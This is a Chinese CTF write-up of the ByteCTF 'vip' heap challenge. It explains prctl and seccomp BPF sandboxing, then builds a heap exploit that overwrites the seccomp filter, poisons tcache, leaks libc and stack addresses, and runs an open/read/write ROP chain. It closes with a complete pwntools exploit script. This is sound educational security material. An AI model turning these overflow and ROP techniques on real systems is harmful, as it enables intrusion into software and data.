@H4l0
2019-09-11T00:50:15.000000Z
字数 12281
阅读 2764
CTF
bytectf 的一道堆题,涉及到 prctl 函数,之前没有接触过,借这个机会学习一下。
环境:glibc 2.27
照旧将程序加载进入 IDA,分析程序的逻辑。
这个函数比较简单,直接返回一个 malloc(0x50) 大小的堆块指针。
void __fastcall add(unsigned int a1)
{
if ( a1 <= 0xF )
{
note_list[a1] = malloc(0x50uLL);
puts("Done!\n");
}
}
del 函数也是一样简单,直接 free 掉堆块后置空指针,不存在 UAF 漏洞。
int __fastcall del(unsigned int a1)
{
int result; // eax
if ( a1 <= 0xF )
{
free(note_list[a1]);
note_list[a1] = 0LL;
result = puts("Done!\n");
}
return result;
}
在 edit 函数中,size 的值可控,所以这里存在一个溢出。但是这个溢出是有条件的。
unsigned __int64 __fastcall edit(unsigned int a1)
{
int v2; // [rsp+14h] [rbp-Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( a1 <= 0xF && note_list[a1] )
{
printf("Size: ");
__isoc99_scanf("%u", &v2);
printf("Content: ", &v2);
get_input(note_list[a1], v2); // overflow
puts("Done!\n");
}
return __readfsqword(0x28u) ^ v3;
}
跟进 get_input 函数,这里需要 0x4040E0 这个地址需要有值,但是这个地方默认是 0。除非找到一处任意地址写或者溢出,否则这个堆块就会根据输入的 size 值的大小,填充一大堆的任意值。
ssize_t __fastcall get_input(void *a1, int a2)
{
int fd; // [rsp+1Ch] [rbp-4h]
if ( dword_4040E0 )
return read(0, a1, a2);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
exit(0);
return read(fd, a1, a2);
}
read(0, a1, a2)
,这样我们也可以达到可控的目的。这个函数定义了一大堆的变量,一开始没看懂这个是干啥的,后来发现是用来定义结构体变量的。
unsigned __int64 vip()
{
__int16 v1; // [rsp+0h] [rbp-90h]
char *v2; // [rsp+8h] [rbp-88h]
char buf; // [rsp+10h] [rbp-80h]
char v4; // [rsp+30h] [rbp-60h]
char v5; // [rsp+31h] [rbp-5Fh]
char v6; // [rsp+32h] [rbp-5Eh]
char v7; // [rsp+33h] [rbp-5Dh]
char v8; // [rsp+34h] [rbp-5Ch]
char v9; // [rsp+35h] [rbp-5Bh]
char v10; // [rsp+36h] [rbp-5Ah]
char v11; // [rsp+37h] [rbp-59h]
char v12; // [rsp+38h] [rbp-58h]
char v13; // [rsp+39h] [rbp-57h]
char v14; // [rsp+3Ah] [rbp-56h]
char v15; // [rsp+3Bh] [rbp-55h]
char v16; // [rsp+3Ch] [rbp-54h]
char v17; // [rsp+3Dh] [rbp-53h]
char v18; // [rsp+3Eh] [rbp-52h]
char v19; // [rsp+3Fh] [rbp-51h]
char v20; // [rsp+40h] [rbp-50h]
char v21; // [rsp+41h] [rbp-4Fh]
char v22; // [rsp+42h] [rbp-4Eh]
char v23; // [rsp+43h] [rbp-4Dh]
char v24; // [rsp+44h] [rbp-4Ch]
char v25; // [rsp+45h] [rbp-4Bh]
char v26; // [rsp+46h] [rbp-4Ah]
char v27; // [rsp+47h] [rbp-49h]
char v28; // [rsp+48h] [rbp-48h]
char v29; // [rsp+49h] [rbp-47h]
char v30; // [rsp+4Ah] [rbp-46h]
char v31; // [rsp+4Bh] [rbp-45h]
char v32; // [rsp+4Ch] [rbp-44h]
char v33; // [rsp+4Dh] [rbp-43h]
char v34; // [rsp+4Eh] [rbp-42h]
char v35; // [rsp+4Fh] [rbp-41h]
char v36; // [rsp+50h] [rbp-40h]
char v37; // [rsp+51h] [rbp-3Fh]
char v38; // [rsp+52h] [rbp-3Eh]
char v39; // [rsp+53h] [rbp-3Dh]
char v40; // [rsp+54h] [rbp-3Ch]
char v41; // [rsp+55h] [rbp-3Bh]
char v42; // [rsp+56h] [rbp-3Ah]
char v43; // [rsp+57h] [rbp-39h]
char v44; // [rsp+58h] [rbp-38h]
char v45; // [rsp+59h] [rbp-37h]
char v46; // [rsp+5Ah] [rbp-36h]
char v47; // [rsp+5Bh] [rbp-35h]
char v48; // [rsp+5Ch] [rbp-34h]
char v49; // [rsp+5Dh] [rbp-33h]
char v50; // [rsp+5Eh] [rbp-32h]
char v51; // [rsp+5Fh] [rbp-31h]
char v52; // [rsp+60h] [rbp-30h]
char v53; // [rsp+61h] [rbp-2Fh]
char v54; // [rsp+62h] [rbp-2Eh]
char v55; // [rsp+63h] [rbp-2Dh]
char v56; // [rsp+64h] [rbp-2Ch]
char v57; // [rsp+65h] [rbp-2Bh]
char v58; // [rsp+66h] [rbp-2Ah]
char v59; // [rsp+67h] [rbp-29h]
char v60; // [rsp+68h] [rbp-28h]
char v61; // [rsp+69h] [rbp-27h]
char v62; // [rsp+6Ah] [rbp-26h]
char v63; // [rsp+6Bh] [rbp-25h]
char v64; // [rsp+6Ch] [rbp-24h]
char v65; // [rsp+6Dh] [rbp-23h]
char v66; // [rsp+6Eh] [rbp-22h]
char v67; // [rsp+6Fh] [rbp-21h]
char v68; // [rsp+70h] [rbp-20h]
char v69; // [rsp+71h] [rbp-1Fh]
char v70; // [rsp+72h] [rbp-1Eh]
char v71; // [rsp+73h] [rbp-1Dh]
char v72; // [rsp+74h] [rbp-1Ch]
char v73; // [rsp+75h] [rbp-1Bh]
char v74; // [rsp+76h] [rbp-1Ah]
char v75; // [rsp+77h] [rbp-19h]
char v76; // [rsp+78h] [rbp-18h]
char v77; // [rsp+79h] [rbp-17h]
char v78; // [rsp+7Ah] [rbp-16h]
char v79; // [rsp+7Bh] [rbp-15h]
char v80; // [rsp+7Ch] [rbp-14h]
char v81; // [rsp+7Dh] [rbp-13h]
char v82; // [rsp+7Eh] [rbp-12h]
char v83; // [rsp+7Fh] [rbp-11h]
char v84; // [rsp+80h] [rbp-10h]
char v85; // [rsp+81h] [rbp-Fh]
char v86; // [rsp+82h] [rbp-Eh]
char v87; // [rsp+83h] [rbp-Dh]
char v88; // [rsp+84h] [rbp-Ch]
char v89; // [rsp+85h] [rbp-Bh]
char v90; // [rsp+86h] [rbp-Ah]
char v91; // [rsp+87h] [rbp-9h]
unsigned __int64 v92; // [rsp+88h] [rbp-8h]
v92 = __readfsqword(0x28u);
puts("OK, but before you become vip, please tell us your name: ");
v4 = 32;
v5 = 0;
v6 = 0;
v7 = 0;
v8 = 4;
v9 = 0;
v10 = 0;
v11 = 0;
v12 = 21;
v13 = 0;
v14 = 0;
v15 = 8;
v16 = 62;
v17 = 0;
v18 = 0;
v19 = -64;
v20 = 32;
v21 = 0;
v22 = 0;
v23 = 0;
v24 = 0;
v25 = 0;
v26 = 0;
v27 = 0;
v28 = 53;
v29 = 0;
v30 = 6;
v31 = 0;
v32 = 0;
v33 = 0;
v34 = 0;
v35 = 64;
v36 = 21;
v37 = 0;
v38 = 4;
v39 = 0;
v40 = 1;
v41 = 0;
v42 = 0;
v43 = 0;
v44 = 21;
v45 = 0;
v46 = 3;
v47 = 0;
v48 = 0;
v49 = 0;
v50 = 0;
v51 = 0;
v52 = 21;
v53 = 0;
v54 = 2;
v55 = 0;
v56 = 2;
v57 = 0;
v58 = 0;
v59 = 0;
v60 = 21;
v61 = 0;
v62 = 1;
v63 = 0;
v64 = 60;
v65 = 0;
v66 = 0;
v67 = 0;
v68 = 6;
v69 = 0;
v70 = 0;
v71 = 0;
v72 = 5;
v73 = 0;
v74 = 5;
v75 = 0;
v76 = 6;
v77 = 0;
v78 = 0;
v79 = 0;
v80 = 0;
v81 = 0;
v82 = -1;
v83 = 127;
v84 = 6;
v85 = 0;
v86 = 0;
v87 = 0;
v88 = 0;
v89 = 0;
v90 = 0;
v91 = 0;
read(0, &buf, 0x50uLL);
printf("Hello, %s\n", &buf);
v1 = 11;
v2 = &v4;
if ( prctl(38, 1LL, 0LL, 0LL, 0LL, *&v1, &v4) < 0 )
{
perror("prctl(PR_SET_NO_NEW_PRIVS)");
exit(2);
}
if ( prctl(22, 2LL, &v1) < 0 )
{
perror("prctl(PR_SET_SECCOMP)");
exit(2);
}
return __readfsqword(0x28u) ^ v92;
}
开始先是使用 read 函数读取了 0x50 字节大小的数据到栈上:read(0, &buf, 0x50uLL);
,仔细看这里其实是溢出了,可以覆盖到下面的一些变量:
char buf; // [rsp+10h] [rbp-80h] // buf 大小为 32 字节
char v4; // [rsp+30h] [rbp-60h]
char v5; // [rsp+31h] [rbp-5Fh]
...
接着调用了 prctl 函数,没了解过这个函数,因此本文的重点就是着重来分析一下这个函数的用法。
v1 = 11;
v2 = &v4;
if ( prctl(38, 1LL, 0LL, 0LL, 0LL, *&v1, &v4){
...
}
...
if ( prctl(22, 2LL, &v1) < 0 ){
...
}
先查看一下 man 手册关于 prctl 函数的介绍:
operations on a process
prctl() is called with a first argument describing what to do (with values defined in ), and further arguments with a significance depending on the first one. The first argument can be:
函数原型:
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
第一个参数是指定相应的操作,在手册上有特别多的选项,这里我们需要重点关注两个:
1. PR_SET_NO_NEW_PRIVS
2. PR_SET_SECCOMP
继续看手册上的介绍,对于第一个参数选项:
Set the calling thread’s no_new_privs attribute to the value in arg2. With no_new_privs set to 1, execve(2) promises not to grant privileges to do anything that could not have been done without the execve(2) call (for example, rendering the set-user-ID and set-group-ID mode bits, and file capabilities non-functional).
Once set, this the no_new_privs attribute cannot be unset. The setting of this attribute is inherited by children created by fork(2) and clone(2), and preserved across execve(2).
简单的说就是如果 option 设置为 PR_SET_NO_NEW_PRIVS
的话,第二个参数如果设置为 1 的话,不能够进行 execve 的系统调用,同时这个选项还会继承给子进程。
这里也就是调用下面的语句进行设置:
prctl(PR_SET_NO_NEW_PRIVS, 1LL, 0LL, 0LL, 0LL);
在 xx 中找到 PR_SET_NO_NEW_PRIVS
常量对应的数值,正好是 38
接着看第二个options PR_SET_SECCOMP
:
Set the secure computing (seccomp) mode for the calling thread, to limit the available system calls.
设置 seccomp ,其实也就是设置沙箱规则,这个 option 有两个子参数:
SECCOMP_MODE_STRICT:
the only system calls that the thread is permitted to make are read(2), write(2),_exit(2) (but not exit_group(2)), and sigreturn(2).
SECCOMP_MODE_FILTER (since Linux 3.5):
the system calls allowed are defined by a pointer to a Berkeley Packet Filter passed in arg3. This argument is a pointer to struct sock_fprog; it can be designed to filter arbitrary system calls and system call arguments.
这里如果设置了 SECCOMP_MODE_STRICT
模式的话,系统调用只能使用 read, write,_exit 这三个。
如果设置了 SECCOMP_MODE_FILTER
的话,系统调用规则就可以被 Berkeley Packet Filter(BPF) 规则所定义,这玩意就是这里最最重点的东西了。
来看看百度百科上的解释:
看解释可以知道这是一种网络数据包传输过滤的一种规则,那个怎么会用在 C 语言的 prctl 函数中呢?大佬的解释是这样的:
那这样的话就需要了解 BPF 的沙箱解释规则了,这篇文章写的还不错
总结起来就下面的一些点:
对于这题,构造的沙箱规则为:
struct sock_filter filter[] = {
BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0), // 从第0个字节开始,传送8个字节
BPF_JUMP(BPF_JMP|BPF_JEQ, 257, 1, 0), // 比较是否为257,是就跳到第5行
BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0), // 比较是否大于 0,是就跳到第6行
BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO),
BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
};
相应的转换为 16 进制格式为:
\\\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x01\\x00\\x01\\x01\\x00\\x005\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\xff\\x7f'
根据上面的分析,我们在 become_vip 函数中设置 prctl 函数的沙箱规则,使得 open 函数返回值为 0 之后,我们就可以控制溢出的数据。
构造两个堆块,将后一个堆块 free 之后,从第一个堆块溢出到第二个的 fd 指针(注意是 2.27 的环境),就能够达到任意地址读写的目的。我们无法调用 system 函数,但是可以使用 ROP 来进行系统调用,这里我们就用任意地址写,将 payload 直接写到返回地址上。
filter1 总共 40 个字节,可能也是出题人精心设计的。
filter1 = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x01\\x00\\x01\\x01\\x00\\x005\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\xff\\x7f''
sh.sendlineafter('choice: ', '6')
sh.sendafter('name: ', 'a' * 32 + filter1)
这个不多说,控制 fd 指针、使用 show 功能泄露地址。
delete(2)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.symbols['stderr']))
alloc(1)
alloc(2)
show(2)
result = sh.recvuntil('\n', drop=True)
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['_IO_2_1_stderr_']
log.success('libc_addr: ' + hex(libc_addr))
delete(3)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(libc_addr + libc.symbols['environ']))
alloc(1)
alloc(2)
show(2)
经过调试可以发现 environ 变量的地址减去 0xf8 的地方就是 main 函数 rbp 的地址。
调用的顺序为:
fd = open('flag',0) --> read(fd,buf,0x100) --> write(1,buf,0x100) --> exit()
ROP 地址使用 ROPgadget 就可以找到,这里注意的是在使用 syscall 的时候,调用号是存放在 eax 寄存器中,别的参数就和 64 位下的寄存器传参顺序一致。在 amd64 中,系统调用号可以在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h
中找到。
layout = [
"flag\x00\x00\x00\x00", # ret
0x0000000000401016, # ret
0x0000000000401016, # ret
0x0000000000401016, # ret
0x00000000004018fb, # : pop rdi ; ret
stack_addr - 0xf8,
0x00000000004018f9, # : pop rsi ; pop r15 ; ret
0,
0,
libc_addr + 0x00000000000439c8, # : pop rax ; ret
2, # sys_open
libc_addr + 0x00000000000d2975, # : syscall ; ret
0x00000000004018fb, # : pop rdi ; ret
3,
0x00000000004018f9, # : pop rsi ; pop r15 ; ret
0x404800,
0,
libc_addr + 0x0000000000001b96, # : pop rdx ; ret
0x100,
elf.plt['read'],
0x00000000004018fb, # pop rdi
1,
0x00000000004018f9, # pop rsi
0x404800,
0,
libc_addr + 0x0000000000001b96, # pop rdx
0x50,
libc_addr + 0x00000000000439c8, # pop eax
1,
libc_addr + 0x00000000000d2975, #syscall
elf.plt['exit']
]
在 main 函数退出时就会触发 exp,经过 ROP 之后就会输出 flag。
edit(2,0x100,flat(layout).ljust(0x100,"\x00"))
sh.sendlineafter('choice: ', '5')
附上 Ex 师傅的 exp,这里改动了一点点:
# 考点:绕过 prctl 沙箱规则,栈上 ROP 的 syscall 调用
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
context.arch = 'amd64'
execve_file = './vip'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = process('./vip')
print pidof(sh)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
try:
gdbscript = '''
b *0x401898
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def alloc(index):
sh.sendlineafter('choice: ', '1')
sh.sendlineafter('Index: ', str(index))
def edit(index, size, content):
sh.sendlineafter('choice: ', '4')
sh.sendlineafter('Index: ', str(index))
sh.sendlineafter('Size: ', str(size))
sh.sendafter('Content: ', content)
def delete(index):
sh.sendlineafter('choice: ', '3')
sh.sendlineafter('Index: ', str(index))
def show(index):
sh.sendlineafter('choice: ', '2')
sh.sendlineafter('Index: ', str(index))
filter1 = ' \x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\x01\x01\x00\x005\x00\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f'
sh.sendlineafter('choice: ', '6')
sh.sendafter('name: ', 'a' * 32 + filter1)
for i in range(5):
alloc(i)
delete(2)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.symbols['stderr']))
alloc(1)
alloc(2)
show(2)
result = sh.recvuntil('\n', drop=True)
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['_IO_2_1_stderr_']
log.success('libc_addr: ' + hex(libc_addr))
delete(3)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(libc_addr + libc.symbols['environ']))
alloc(1)
alloc(2)
show(2)
result = sh.recvuntil('\n', drop=True)
stack_addr = u64(result.ljust(8, '\0'))
success("stack_addr: " + hex(stack_addr))
delete(4)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(stack_addr - 0xf8))
alloc(1)
alloc(2)
layout = [
"flag\x00\x00\x00\x00", # ret
0x0000000000401016, # ret
0x0000000000401016, # ret
0x0000000000401016, # ret
0x00000000004018fb, # : pop rdi ; ret
stack_addr - 0xf8,
0x00000000004018f9, # : pop rsi ; pop r15 ; ret
0,
0,
libc_addr + 0x00000000000439c8, # : pop rax ; ret
2, # sys_open
libc_addr + 0x00000000000d2975, # : syscall ; ret
0x00000000004018fb, # : pop rdi ; ret
3,
0x00000000004018f9, # : pop rsi ; pop r15 ; ret
0x404800,
0,
libc_addr + 0x0000000000001b96, # : pop rdx ; ret
0x100,
elf.plt['read'],
#0x00000000004018fb, # pop rdi ; ret
#0x404800,
#elf.plt['puts'],
0x00000000004018fb, # pop rdi
1,
0x00000000004018f9, # pop rsi
0x404800,
0,
libc_addr + 0x0000000000001b96, # pop rdx
0x50,
libc_addr + 0x00000000000439c8, # pop eax
1,
libc_addr + 0x00000000000d2975, #syscall
elf.plt['exit']
]
edit(2,0x100,flat(layout).ljust(0x100,"\x00"))
sh.sendlineafter('choice: ', '5')
sh.interactive()